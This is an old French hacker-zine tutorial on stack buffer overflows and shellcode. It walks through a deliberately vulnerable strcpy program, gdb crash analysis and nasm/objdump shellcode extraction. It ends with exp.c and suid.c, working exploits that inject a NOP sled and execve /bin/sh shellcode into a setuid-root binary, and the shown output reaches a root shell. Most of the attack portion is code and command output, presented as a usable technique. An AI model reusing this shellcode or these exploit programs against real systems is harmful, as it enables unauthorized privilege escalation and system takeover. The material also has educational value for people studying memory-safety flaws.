| ,--., x . __^__ -=*=- ,' NG \ --- "`-. | . ; | MOON T| + - -- | }` ` | /X@ BG| x -- / /--. \ H/ - ===/ \===E w {\_/} w `'--'` , . --- / / * /`-_.-{"}-._-'\ `---` / , '?' , \ , _.-.,, , x / / \./;"-";\./ \ \ -+- -` .|.,,`'-.,,_ , '`_-` `',`' ` ,-` ,-` |\ ``'-.,,_''--, / \ ,' -` \\\\\., `''-/,', ,,,,,,,,,,,,,, | BY | _ __ /- -' \\` X ` /`-- `','., ',,,| |, _ `` '| `. ', \| X v` | // ^--``\_, `','., | | ` | `. `.`. -` `\// /` ``\ ;- `',`-, |-=[ Putois ]=-| | `. `.='-'` \ `-/ / .`;\| `'.`', | | | '/..````/.\, ```\/` . `'.`'., | | |-=[O2]=-| ``'-,, `''.,,``-/` _/`\ `'.,'., | | \_ | ``'.,, `'-.,/ . `\_ '.,`-, | ``. | ``'.,, `'-,, ``---. '.,`', | `, | -=[ `''.,, ``'.,,-/``--., `.,`'., | ', | `'-.,_ `''.,. `| `-, '.------- '\,_ Shellcode `'-.,_ `'-.`_ `_.-`-. |\-.,, ``-.,_ `'-., `'+-'`.-`` | '` ', ,|\., ``-.,_ ]=- ``'-|'` | V V ,' `\ `'-.,_ | | L _|\-.,7 7 | `'-., |\-/| /;| | `--,' `../ | ``'-. |o o|_ --. ,-`/ | | . | G G | / `-=+=- ` ` /` | ,-/ `'| ., ` ,. |``````''-., `\, .--_ | | ,-'` ', \`=`/ ,` `',, |/ ; / ``'--'` _,,.---- `''--'` `-,, || || ,.-` ```''-------___"____"______,--''` -=[Aka : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ]=- _.-+. ____ __ __ ____ ___ _____ ____ ___ ____ __ _ _.-"" '. | \ | T T| \ / \ | || \ / _] / T| l/ ] +:"" '. | o )| | || D )Y Y| __j| D ) / [_ Y o || ' / | \ '. | _/ | ~ || / | O || l_ | / Y _]| || \ | \ _.-+ | | l___, || \ | || _] | \ | [_ | _ || Y | '. _.-" | | | | !| . Yl !| T | . Y| T| | || . | J \ _.-" L l__j l____/ l__j\_j \___/ l__j l__j\_jl_2005_|__j__jl__j\_j L +" J Now more Stylized + | | Www.Pyrofreak.Org \ | .+ Www.Pyrofreak.Tk \ | .-' \ | .-' \| .-' + Il y a une chose que j'ai toujours rêvé de maitriser c'était bien ces shellcodes. Pour cette documentation je suis partis du vieux truc connu l'exploit du strcpy voulant savoir jusqu'ou cela allait m'emener. J'ai donc décider de refaire de la documentation sur ce sujet pour fêter mon retour dans l'underground. Le but de ce document étant fait le plus simple du monde et je souhaite bien sur oublier aucun détail. Une note technique pour cette documentation: Elle sera à refaire sur votre console si vous voulez que les codes marchent sur votre linux.Ici j'ai utilisé une SUSE 9.1 PRO multilangage et un kernel 2.6.4 . Ce qui ne marchera pas chez vous c'est bien sur les resultats d'adresse RET obtenue dans la liste selon mes methodes, et si le code ne s'execute pas il s'agit d'un movais BUFFER . (bien sur le poid étant très important). Voila l'utilisateur est prevenu ! Qu'on se le dise ! . pupu . Et pour finir tout dépend bien sur du programme bug.c . prog bug.c : ____________ int main(int argc, char **argv) { char buffer[256]; if (argc > 1) strcpy(buffer, argv[1]); return (0); } A compiler de la facon suivante: gcc -g -o bug bug.c Ensuite on le lance avec gdb : et on y envoie des A pour le segfault gdb bug GNU gdb 6.1 Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-suse-linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAA Starting program: /coding/source/bug AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () On regarde si les registres ont bien été réecris: (gdb) i r eax 0x0 0 ecx 0xfffffd1f -737 edx 0xbffff4b7 -1073744713 ebx 0x4013cbd0 1075039184 esp 0xbffff1b0 0xbffff1b0 ebp 0x41414141 0x41414141 esi 0x400168c0 1073834176 edi 0x80483c0 134513600 eip 0x41414141 0x41414141 eflags 0x210286 2163334 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 et maintenant on va prendre quelque adresse pour nous donner les adresses vulnerables grâce à cette commande: (gdb) x/200bx $esp-200 0xbfffefe8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfffeff0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfffeff8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff000: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff008: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff010: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff018: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff020: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff028: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff030: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff038: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff040: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff048: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff050: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff058: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff060: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff068: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff070: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff078: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff080: 0x41 0x41 0x41 0x41 0x41 0x41 0x61 0x41 0xbffff088: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff090: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff098: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff0a0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff0a8: 0x61 0x41 0x41 0x41 0x41 0x41 0x41 0x41 Ce qui nous interresse ici c'est les adresses qui contiennent 0x41 par exemple 0xbffff008 pourrait bien nous servir plus tard. Nous avons donc toutes nos informations nécessaires pour notre futur shellcode pour la partie suivante nous allons apprendre à utiliser nasm pour le transformer en byte code. Le code ci-dessous pyro.asm va servir à afficher bienvenu dans pyrofreak et mindkind.asm bienvenue chez mindkind comme ca vous pourrez choisir vos camps favoris ;). fichier pyrofreak.asm: _____________________ ;pyrofreak.asm [SECTION .text] global _start _start: jmp short ender starter: xor eax, eax ;clean up the registers xor ebx, ebx xor edx, edx xor ecx, ecx mov al, 4 ;syscall write mov bl, 1 ;stdout is 1 pop ecx ;get the address of the string from the stack mov dl, 26 ;length of the string int 0x80 xor eax, eax mov al, 1 ;exit the shellcode xor ebx,ebx int 0x80 ender: call starter ;put the address of the string on the stack db 'hello welcome to pyrofreak ' Pour le compiler executez la commande suivante: linux:/coding/source # nasm -f elf hello.asm linux:/coding/source # ld -o pyro pyrofreak.o Vérifiez que votre code fonctionne : linux:/coding/source # ./pyro hello welcome to pyrofreaklinux:/coding/source # Notes: Les codes asm cités eux sont génériques. Reste à traduire le code pyro en bytes code : linux:/coding/source # objdump -d pyro pyro: format de fichier elf32-i386 Déassemblage de la section .text: 08048080 <_start>: 8048080: eb 19 jmp 804809b 08048082 : 8048082: 31 c0 xor %eax,%eax 8048084: 31 db xor %ebx,%ebx 8048086: 31 d2 xor %edx,%edx 8048088: 31 c9 xor %ecx,%ecx 804808a: b0 04 mov $0x4,%al 804808c: b3 01 mov $0x1,%bl 804808e: 59 pop %ecx 804808f: b2 1a mov $0x1a,%dl 8048091: cd 80 int $0x80 8048093: 31 c0 xor %eax,%eax 8048095: b0 01 mov $0x1,%al 8048097: 31 db xor %ebx,%ebx 8048099: cd 80 int $0x80 0804809b : 804809b: e8 e2 ff ff ff call 8048082 80480a0: 68 65 6c 6c 6f push $0x6f6c6c65 80480a5: 20 77 65 and %dh,0x65(%edi) 80480a8: 6c insb (%dx),%es:(%edi) 80480a9: 63 6f 6d arpl %bp,0x6d(%edi) 80480ac: 65 20 74 6f 20 and %dh,%gs:0x20(%edi,%ebp,2) 80480b1: 70 79 jo 804812c 80480b3: 72 6f jb 8048124 80480b5: 66 data16 80480b6: 72 65 jb 804811d 80480b8: 61 popa 80480b9: 6b .byte 0x6b 80480ba: 20 .byte 0x20 et voila la partie la plus pénible dans l'art du shell code qui sagit de mettre les codes que vous voyez xeb/x19 dans des "". Voici un premier résultat de code généique ici le programme: pyromind.c /* Pour compiler: cc -o pyromind pyromind.c ./pyromind -p ./pyromind -m Auteur mrpupu[corbeille] . Aout 2005 . */ #include char welcome_to_pyro[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59" "\xb2\x1a\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff" "\x68\x65\x6c\x6c\x6f\x20\x77\x65\x6c\x63\x6f\x6d\x65\x20\x74\x6f\x20" "\x70\x79\x72\x6f\x66\x72\x65\x61\x6b\x20"; char welcome_to_mind[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59" "\xb2\x1a\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80" "\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x65\x6c" "\x63\x6f\x6d\x65\x20\x74\x6f\x20\x6d\x69\x6e\x64\x6b\x69\x6e\x64\x20"; int main(int argc, char *argv[]) { int opt; while ((opt=getopt(argc,argv, "pmh")) != EOF){ switch(opt){ default: case 'h': banner(argv[0]); exit(0); case 'p': pyro(argv[1]); exit(0); case 'm': mind(argv[1]); exit(0); } } } int pyro() { int (*funct)(); funct = (int (*)()) welcome_to_pyro; (int)(*funct)(); } int mind() { int (*funct)(); funct = (int (*)()) welcome_to_mind; (int)(*funct)(); } int banner() { printf ("Bonjour et bienvenue dans notre mag \n"); printf ("___________________________________ \n \n"); printf ("A compiler de la facon suivante \n\n"); printf ("cc -o pyromind pyromind.c\n\n"); printf ("./pyromind -h \n\n"); printf ("./pyromind -p \n\n"); printf ("./pyromind -m \n\n"); } Le code ci dessous lance et execute le shellcode welcome to pyro ou welcome to mindkind , nous allons donc le reprendre et voir si on arrive à l'executer avec les adresses RET obtenues dans notre cher bug.c Fichier EXP.C : _______________ #include #include #include #include #define BUF 269 #define NOP 0x90 #define ALIGN 0 char sc[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59" "\xb2\x1a\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80" "\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x65\x6c" "\x63\x6f\x6d\x65\x20\x74\x6f\x20\x6d\x69\x6e\x64\x6b\x69\x6e\x64\x20"; unsigned long getesp() { __asm__("movl %esp,%eax"); } int main(int argc ,char *argv[]) { int ret,i,n; char *arg[3], buf[BUF]; int *addrptr; ret = getesp() -atoi(argv[1]); fprintf(stderr, "Using ret: 0x%X \n ",ret); addrptr=(int *)(buf + ALIGN); for (i=0; i < BUF; i +=4) *addrptr++=ret; for (i=0; i< BUF / 2; i++) buf[i] = NOP; for (n=0; n< strlen(sc); n++) buf[i++] = sc[n]; arg[0] = "./bug"; arg[1] = buf; arg[2] = NULL; execve(arg[0], arg,NULL); perror("execve"); } Pour compiler : cc -o exp exp.c Pour l'utiliser : ./exp -3000 par exmple , vous avez ici 4000 possibilitées. Maintenant que nous avons trouvé une adresse nous pouvons faire plein de chose ! par exemple si le bug était un suid root cela pourrait donner: linux:/mnt/emag # chmod 4755 /bin/bug linux:/mnt/emag # ls -la /bin/bug -rwsr-xr-x 1 root root 8669 2005-08-16 17:12 /bin/bug On verifie que notre bug est bien un suid root: linux:/mnt/prog # find / -type f -perm -04000 -ls 18184 24 -rwsr-xr-x 1 root root 22952 avr 6 2004 /bin/su 85366 12 -rwsr-xr-x 1 root root 8669 aoû 16 17:12 /bin/bug 15447 32 -rwsr-xr-x 1 root root 31236 avr 6 2004 /bin/ping 10453 24 -rwsr-xr-x 1 root audio 22630 avr 6 2004 /bin/eject 46454 88 -rwsr-xr-x 1 root root 87296 avr 6 2004 /bin/mount 15448 28 -rwsr-xr-x 1 root root 27108 avr 6 2004 /bin/ping6 linux:/mnt/emag # su cheoles cheoles@linux:/mnt/emag> ls bug bug.c exp exp.c mindkind.asm notes.txt pyrofreak.asm pyromind.c suid suid.c cheoles@linux:/mnt/emag> ./suid sh-2.05b$ exit exit Et voila notre exploit fonctionne ! Pour finir voici notre exploit suid.c: Fichier suid.c ______________ #include #include #include #include #define BUF 273 // 272+1 (at 272 ebp & eip are overwritten+1 for null // byte) #define NOP 0x90 // nop padding (nop instruction code = 0x90) #define ALIGN 0 // no alignment (buffer is 1st on stack) #define RET 0xbffffce0 // adresse trouvée dans le labo à pupu ;) char sc[]= /* des shellcode classique execve /bin/sh en nasm */ "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62" "\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; int main(int argc, char *argv[]) { int ret, i, n; char *arg[3], buf[BUF]; int *addrptr; /* address pointer */ ret = RET; addrptr = (int *)(buf + ALIGN); for (i = 0; i < BUF; i += 4) *addrptr++ = ret; for (i = 0; i < BUF / 2; i++) buf[i] = NOP; for (n = 0; n < strlen(sc); n++) buf[i++] = sc[n]; arg[0] = "/bin/bug"; // le programme vulnerable ici arg[1] = buf; arg[2] = NULL; execve(arg[0], arg, NULL); perror("\n execve"); } A noter: suid.c ne sera valable que pour suse 9.1 et pas sur votre console. tout à cause de cette fameuse adresse RET. linux:/mnt/emag # cc -o suid suid.c linux:/mnt/emag # su cheoles cheoles@linux:/mnt/emag> ./suid sh-2.05b# id uid=0(root) gid=100(users) groups=14(uucp),16(dialout),17(audio),33(video),100(users) sh-2.05b# exit exit cheoles@linux:/mnt/emag>